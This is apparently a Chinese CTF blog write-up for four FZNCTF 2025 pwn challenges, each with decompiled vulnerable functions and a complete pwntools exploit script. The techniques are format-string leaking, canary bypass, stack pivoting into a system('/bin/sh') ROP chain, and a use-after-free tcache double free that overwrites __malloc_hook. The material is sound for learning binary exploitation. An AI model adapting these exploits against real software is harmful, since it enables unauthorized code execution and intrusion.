FZNCTF2025-PWN-WP

FZNCTF-Langx-PWN-WP

fmt

格式化字符串漏洞

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int fd; // [rsp+4h] [rbp-24Ch]
  char buf[48]; // [rsp+10h] [rbp-240h] BYREF
  char format[520]; // [rsp+40h] [rbp-210h] BYREF
  unsigned __int64 v7; // [rsp+248h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  init_func(argc, argv, envp);
  puts("Welcome to FZNCTF!");
  puts("lizimi is waiting for you...");
  puts("what do you want to say to him?");
  puts("please input:");
  fd = open("flag", 0);
  if ( fd == -1 )
  {
    perror("open flag failed");
    exit(1);
  }
  read(fd, buf, 0x30uLL);
  close(fd);
  read(0, format, 0x200uLL);
  printf(format);
  return 0;
}

程序首先会打开flag文件并读到栈上,本地调试可知偏移为7(64位格式化字符串)

exp:

from pwn import *
#p = process("./attachment")
p = remote("nc1.ctfplus.cn",11882)
context.log_level = 'debug'
#gdb.attach(p)
p.recvuntil("please input:")
p1 = b'%7$s'

p.sendline(p1)

p.interactive()

bird

开了金丝雀(canary)

1762859739504

分析关键函数

unsigned int vuln()
{
  int i; // [esp+4h] [ebp-74h]
  char buf[100]; // [esp+8h] [ebp-70h] BYREF
  unsigned int v3; // [esp+6Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  puts("What a cute canary!!!!!");
  puts("Maybe the canary is a string of numbers?");
  puts("Can you guess the number?");
  for ( i = 0; i <= 1; ++i )
  {
    read(0, buf, 0x200u);
    printf("number %s", buf);
    if ( !strncmp(buf, "114514", 6u) ) //ctf经典数字
      Right(); //没有什么用
  }
  return __readgsdword(0x14u) ^ v3;
}

printf("number %s", buf);这一步我们可以泄露canary

泄露canary直接返回到后门getshell

exp:

from pwn import*
#p = process("./canary")
p = remote("nc1.ctfplus.cn",27529)
context.log_level = 'debug'

psl = lambda data :p.sendline(data)
ps = lambda data : p.send(data)
ph = lambda data : print(hex(data))
pc = lambda data : p.recvuntil(data)


def bug():
	gdb.attach(p)
	pause()
	
	
def exp():
	pc("Can you guess the number?")
	offest = 0x70 -0xc
	p0 = b'a'*offest
	#bug()
	psl(p0)#sendline多发送一个0xa-->'\n'
	shell = 0x8049285
	p.recvuntil(b'a'*offest)
	canary = u32(p.recv(4)) -0xa #所以这里直接减去0xa即可,因为canary最后一个字节也是00所以不用管
	
	psl(b'a'*offest + p32(canary)+b'a'*0xC+p32(shell)) #getshell
	p.interactive()
	
exp()	
		

stack_pivotingx64

ssize_t vuln()
{
  char buf[48]; // [rsp+0h] [rbp-30h] BYREF

  puts("now let's start to play!\n");
  puts("please give me your name\n");
  read(0, buf, 0x50uLL);
  printf("your name is %s\n", buf);
  puts("give me some other message\n");
  return read(0, buf, 0x50uLL);
}

程序存在栈溢出,但溢出长度不够,直接打栈迁移

printf("your name is %s\n", buf);

这一步泄露rbp地址,然后提前在栈中布置我们的rop链,存在堆栈不平衡加个ret,后面直接栈迁移

exp:

from pwn import*
a=input("yes is process ,no is remote:")
if "y" in a:
	p = process("./stack_pivotingx64")
elif "n" in a:
	p =remote("nc1.ctfplus.cn",19747)
context.log_level = 'debug'
psl = lambda data :p.sendline(data)
ps = lambda data : p.send(data)
ph = lambda data : print(hex(data))
pc = lambda data : p.recvuntil(data)

def bug():
	gdb.attach(p)
	pause()
	
def exp():
	rdi=0x0000000000401275
	system = 0x40126a
	magic = 0x401256
	pc("please give me your name\n")
	
	p0 = b'a'*0x30
	ps(p0)
	pc(b'a'*0x30)
	rbp = u64(p.recv(6)[-6::].ljust(8,b'\x00'))-0x10
	rsp = rbp-0x30
	binsh =rsp+32
	ph(rbp)
	#bug()
	p1=p64(0)+p64(rdi)+p64(binsh)+p64(system)+b'/bin/sh\x00'+p64(magic+1)+p64(rsp)+p64(magic) #magic+1为ret
	pc("give me some other message\n")
	ps(p1)
	p.interactive()
exp()	

ezuaf

保护全开

1762859757563

存在uaf,不存在栈溢出

int del()
{
  int v0; // eax
  void *v1; // rdi

  puts("idx?");
  v0 = get_int();
  if ( v0 < 0 )
    return puts("invalid");
  if ( num <= v0 )
    return puts("invalid");
  v1 = (void *)heap[v0];
  if ( !v1 )
    return puts("invalid");
  free(v1);//指针未置零
  return puts("delete done");
}
int show()
{
  int v0; // eax
  __int64 v1; // rbx

  puts("idx?");
  v0 = get_int();
  if ( v0 < 0 )
    return puts("invalid");
  if ( num <= v0 )
    return puts("invalid");
  v1 = v0;
  if ( !heap[v0] )
    return puts("invalid");
  write(1, "content: ", 9uLL);
  write(1, (const void *)heap[v1], sizes[v1]);
  return write(1, "\n", 1uLL);
}

思路:先释放0x400的chunk挂进unsortedbin,通过uaf+show计算出libc基地址,打tcache_double_free,将malloc_hook填为one_gadget,用realloc来调节栈帧getshell

exp:

from pwn import*
a=input("yes is process ,no is remote:")
if "y" in a:
	p = process("./pwn")
elif "n" in a:
	p =remote("nc1.ctfplus.cn",31004)
e = ELF("./pwn")
libc = ELF("./libc-2.27.so")

context.log_level = 'debug'

psl = lambda data :p.sendline(data)
ps = lambda data : p.send(data)
ph = lambda data : print(hex(data))
pc = lambda data : p.recvuntil(data)
uu64 = lambda  : u64(pc(b'\x7f')[-6::].ljust(8,b'\x00'))
def bug():
	gdb.attach(p)
	pause()

def cmd(choice):
	pc("5. exit")
	psl(str(choice))

def add(size,content):
	cmd(1)
	pc("size?")
	psl(str(size))
	pc("content:")
	psl(content)
	
def delete(idx):
	cmd(2)
	pc("idx?")
	psl(str(idx))
def show(idx):
	cmd(3)
	pc("idx?")
	psl(str(idx))		
def edit(idx,content):
	cmd(4)
	pc("idx?")
	psl(str(idx))
	pc("content:")
	ps(content)
				
def exp(i):

	add(0x410,b'jian')#0
	add(0x410,b'1angx')#1
	delete(0)
	show(0)
	malloc_hook = uu64()-0X70
	base = malloc_hook - libc.sym['__malloc_hook']
	realloc = base  + libc.sym['realloc']
	realloc_hook = malloc_hook -0x8
	ogg_offest = [0x4f29e,0x4f2a5,0x4f302,0x10a2fc]
	ogg = base +ogg_offest[0]
	ph(base)
	add(0x40,b'1angx')#2
	delete(2)
	p1= b'a'*8+p64(0x114514)
	edit(2,p1)
	delete(2)
	edit(2,p64(realloc_hook))
	add(0x40,b'1angx')
	#bug()
	add(0x40,p64(ogg)+p64(realloc+i))
	cmd(1)
	pc("size?")
	psl(str(0x10))
	p.interactive()
	
	
exp(2)	
posted @ 2025-11-11 19:18  1angx  阅读(67)  评论(0)    收藏  举报